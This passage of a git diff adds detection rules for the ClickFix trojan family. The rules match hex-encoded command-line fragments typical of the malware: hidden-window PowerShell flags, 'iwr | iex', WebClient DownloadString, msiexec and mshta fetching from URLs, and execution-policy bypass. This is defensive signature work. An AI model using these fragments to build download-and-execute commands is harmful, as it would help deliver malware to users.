$a_00_8 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -w h -com + $a_00_9 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 20 00 2d 00 63 00 } //1 -windowstyle h -c + $a_00_10 = {2d 00 77 00 69 00 20 00 31 00 20 00 2d 00 63 00 6f 00 6d 00 } //1 -wi 1 -com + $a_00_11 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -window h -co + $a_00_12 = {2d 00 77 00 69 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //1 -wi h -co + $a_00_13 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -w h -command + $a_00_14 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_15 = {2f 00 77 00 20 00 68 00 20 00 2f 00 43 00 } //1 /w h /C + $a_00_16 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_17 = {2d 00 57 00 20 00 68 00 20 00 e2 00 80 00 94 00 43 00 } //1 + $a_00_18 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + $a_00_19 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 2f 00 63 00 } //1 + $a_00_20 = {2f 00 77 00 20 00 68 00 20 00 2d 00 43 00 } //1 /w h -C + $a_00_21 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 github.com + $a_00_22 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-1000 raw.githubusercontent.com + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*-1000+(#a_00_22 & 1)*-1000) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCP_MTB.yar new file mode 100644 index 0000000000..8d56c1bbb7 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DCP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2e 00 54 00 6f 00 43 00 48 00 61 00 52 00 61 00 72 00 52 00 61 00 79 00 28 00 29 00 } //10 .ToCHaRarRay() + $a_00_2 = {5b 00 61 00 72 00 72 00 61 00 79 00 5d 00 3a 00 3a 00 52 00 65 00 76 00 65 00 72 00 73 00 65 00 28 00 24 00 } //10 [array]::Reverse($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCQ_MTB.yar new file mode 100644 index 0000000000..8c31d94d0a --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCQ_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DCQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 06 00 00 " + + strings : + $a_00_0 = {73 00 74 00 61 00 72 00 74 00 20 00 22 00 22 00 20 00 2f 00 6d 00 69 00 6e 00 20 00 22 00 63 00 6d 00 64 00 20 00 2f 00 63 00 } //100 start "" /min "cmd /c + $a_00_1 = {73 00 74 00 61 00 72 00 74 00 20 00 2f 00 6d 00 69 00 6e 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 } //100 start /min cmd.exe /c + $a_00_2 = {26 00 26 00 20 00 63 00 61 00 6c 00 6c 00 } //10 && call + $a_00_3 = {26 00 26 00 65 00 63 00 68 00 6f 00 } //10 &&echo + $a_00_4 = {63 00 75 00 72 00 6c 00 20 00 2d 00 4c 00 } //1 curl -L + $a_00_5 = {63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 } //1 curl -s + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCS_MTB.yar new file mode 100644 index 0000000000..2c3a5b263c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DCS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffca 00 ffffffca 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {20 00 23 00 20 00 } //100 # + $a_00_2 = {69 00 77 00 72 00 } //1 iwr + $a_00_3 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=202 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCT_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCT_MTB.yar new file mode 100644 index 0000000000..abc2579d44 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCT_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_DCT_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 4f 00 63 00 4b 00 5d 00 3a 00 3a 00 43 00 72 00 45 00 61 00 54 00 65 00 28 00 24 00 } //10 [ScRiPtBlOcK]::CrEaTe($ + $a_00_2 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 New-Object Net.WebClient).DownloadString($ + $a_00_3 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 github.com + $a_00_4 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-1000 raw.githubusercontent.com + $a_00_5 = {6d 00 61 00 76 00 65 00 6e 00 2e 00 73 00 63 00 6d 00 } //-1000 maven.scm + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1000+(#a_00_4 & 1)*-1000+(#a_00_5 & 1)*-1000) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCU_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCU_MTB.yar new file mode 100644 index 0000000000..b3df93066e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCU_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DCU_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCU!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 6e 00 6f 00 70 00 20 00 2d 00 77 00 20 00 31 00 20 00 2d 00 45 00 50 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 63 00 } //10 -nop -w 1 -EP Bypass -c + $a_00_2 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 24 00 } //1 New-Object $ + $a_00_3 = {67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 github.com + $a_00_4 = {72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 } //-1000 raw.githubusercontent.com + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1000+(#a_00_4 & 1)*-1000) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCW_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCW_MTB.yar new file mode 100644 index 0000000000..df105e8947 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCW_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DCW_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCW!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffca 00 ffffffca 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {20 00 23 00 20 00 } //100 # + $a_00_2 = {69 00 77 00 72 00 } //1 iwr + $a_00_3 = {7c 00 20 00 69 00 65 00 78 00 } //1 | iex + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=202 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCX_MTB.yar new file mode 100644 index 0000000000..2ae44b1fb3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCX_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DCX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff98 00 ffffff98 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {24 00 61 00 2b 00 24 00 62 00 2b 00 24 00 63 00 2b 00 24 00 64 00 } //50 $a+$b+$c+$d + $a_00_2 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 New-Object Net.WebClient + $a_00_3 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 24 00 } //1 .DownloadFile($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=152 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCY_MTB.yar new file mode 100644 index 0000000000..3ab0375edc --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCY_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_DCY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //10 [Convert]::FromBase64String($ + $a_00_2 = {2e 00 4c 00 65 00 6e 00 67 00 74 00 68 00 29 00 5d 00 2d 00 6a 00 6f 00 69 00 6e 00 } //10 .Length)]-join + $a_00_3 = {23 00 44 00 69 00 73 00 63 00 6f 00 72 00 64 00 5f 00 63 00 6f 00 64 00 65 00 } //1 #Discord_code + $a_00_4 = {23 00 63 00 6f 00 64 00 65 00 } //1 #code + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=121 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCZ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCZ_MTB.yar new file mode 100644 index 0000000000..ecfbe7adab --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DCZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DCZ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DCZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {53 00 74 00 61 00 72 00 74 00 2d 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 28 00 } //10 Start-BitsTransfer ( + $a_00_2 = {53 00 74 00 61 00 72 00 74 00 2d 00 27 00 42 00 69 00 74 00 73 00 54 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 27 00 20 00 28 00 } //10 Start-'BitsTransfer' ( + $a_00_3 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 2b 00 27 00 } //1 $env:TEMP+' + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDA_MTB.yar new file mode 100644 index 0000000000..f7e9dec298 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_DDA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 20 00 48 00 49 00 44 00 20 00 2d 00 63 00 20 00 24 00 } //10 -Window HID -c $ + $a_00_2 = {2e 00 70 00 68 00 70 00 3f 00 61 00 6e 00 3d 00 31 00 27 00 3b 00 } //10 .php?an=1'; + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=120 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDC_MTB.yar new file mode 100644 index 0000000000..6e1f750e82 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDC_MTB.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_DDC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {57 00 53 00 63 00 72 00 69 00 70 00 74 00 } //10 WScript + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 24 00 } //10 .DownloadFile($ + $a_00_3 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 2b 00 } //1 =$env:temp+ + $a_00_4 = {3d 00 4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 20 00 24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 =Join-Path $env:TEMP + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=121 + +} +rule Trojan_Win32_ClickFix_DDC_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 04 00 00 " + + strings : + $a_00_0 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_1 = {2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 6f 00 73 00 74 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //100 -Method Post).Content + $a_00_2 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 } //1 Invoke-Expression(Invoke-WebRequest - + $a_00_3 = {69 00 65 00 78 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 } //1 iex(Invoke-WebRequest - + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=102 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDD_MTB.yar new file mode 100644 index 0000000000..2d88791bf1 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDD_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DDD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {24 00 45 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 5c 00 } //10 $Env:temp\ + $a_00_2 = {77 00 67 00 65 00 74 00 20 00 2d 00 4f 00 20 00 24 00 } //10 wget -O $ + $a_00_3 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDE_MTB.yar new file mode 100644 index 0000000000..4d312dd90b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_DDE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 04 00 00 " + + strings : + $a_02_0 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-32] 2e 00 6d 00 73 00 69 00 20 00 2f 00 71 00 6e 00 [0-64] 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //100 + $a_02_1 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-32] 2e 00 74 00 78 00 74 00 20 00 2f 00 71 00 6e 00 [0-64] 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //100 + $a_02_2 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-64] 2e 00 6d 00 73 00 69 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //100 + $a_02_3 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-64] 2e 00 74 00 78 00 74 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 71 00 6e 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //100 + condition: + ((#a_02_0 & 1)*100+(#a_02_1 & 1)*100+(#a_02_2 & 1)*100+(#a_02_3 & 1)*100) >=100 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDF_MTB.yar new file mode 100644 index 0000000000..b417c679af --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDF_MTB.yar @@ -0,0 +1,24 @@ + +rule Trojan_Win32_ClickFix_DDF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 01 00 00 " + + strings : + $a_02_0 = {6d 00 73 00 68 00 74 00 61 00 [0-0f] 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-3c] 3f 00 } //100 + condition: + ((#a_02_0 & 1)*100) >=100 + +} +rule Trojan_Win32_ClickFix_DDF_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + $a_00_1 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 79 00 6f 00 75 00 74 00 75 00 } //1 https://youtu + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDG_MTB.yar new file mode 100644 index 0000000000..2977071967 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDG_MTB.yar @@ -0,0 +1,38 @@ + +rule Trojan_Win32_ClickFix_DDG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {29 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 7e 00 68 00 74 00 74 00 } //1 ).DownloadString(~htt + $a_00_1 = {c3 00 8e 00 45 00 58 00 20 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} +rule Trojan_Win32_ClickFix_DDG_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 04 00 00 " + + strings : + $a_00_0 = {69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 73 00 } //1 irm https + $a_02_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-3c] 24 00 } //1 + $a_00_2 = {20 00 69 00 65 00 78 00 } //1 iex + $a_00_3 = {62 00 77 00 64 00 63 00 63 00 32 00 } //100 bwdcc2 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*100) >=103 + +} +rule Trojan_Win32_ClickFix_DDG_MTB_3{ + meta: + description = "Trojan:Win32/ClickFix.DDG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 } //100 powershell -C + $a_00_1 = {7b 00 26 00 20 00 28 00 64 00 69 00 72 00 20 00 5c 00 57 00 2a 00 5c 00 2a 00 33 00 32 00 5c 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 2a 00 29 00 2e 00 4e 00 61 00 6d 00 65 00 } //50 {& (dir \W*\*32\c??l.e*).Name + $a_00_2 = {7c 00 20 00 69 00 65 00 78 00 } //10 | iex + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=161 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDI_MTB.yar new file mode 100644 index 0000000000..77aab967db --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DDI_MTB.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_ClickFix_DDI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DDI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell + $a_00_1 = {7c 00 4f 00 75 00 74 00 2d 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //10 |Out-String + $a_00_2 = {63 00 75 00 72 00 6c 00 } //1 curl + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1) >=111 + +} +rule Trojan_Win32_ClickFix_DDI_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.DDI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {2e 00 6f 00 70 00 65 00 6e 00 28 00 27 00 47 00 45 00 54 00 27 00 2c 00 24 00 } //1 .open('GET',$ + $a_00_1 = {73 00 65 00 6e 00 64 00 28 00 29 00 } //1 send() + $a_00_2 = {2e 00 72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 } //1 .response + $a_02_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git 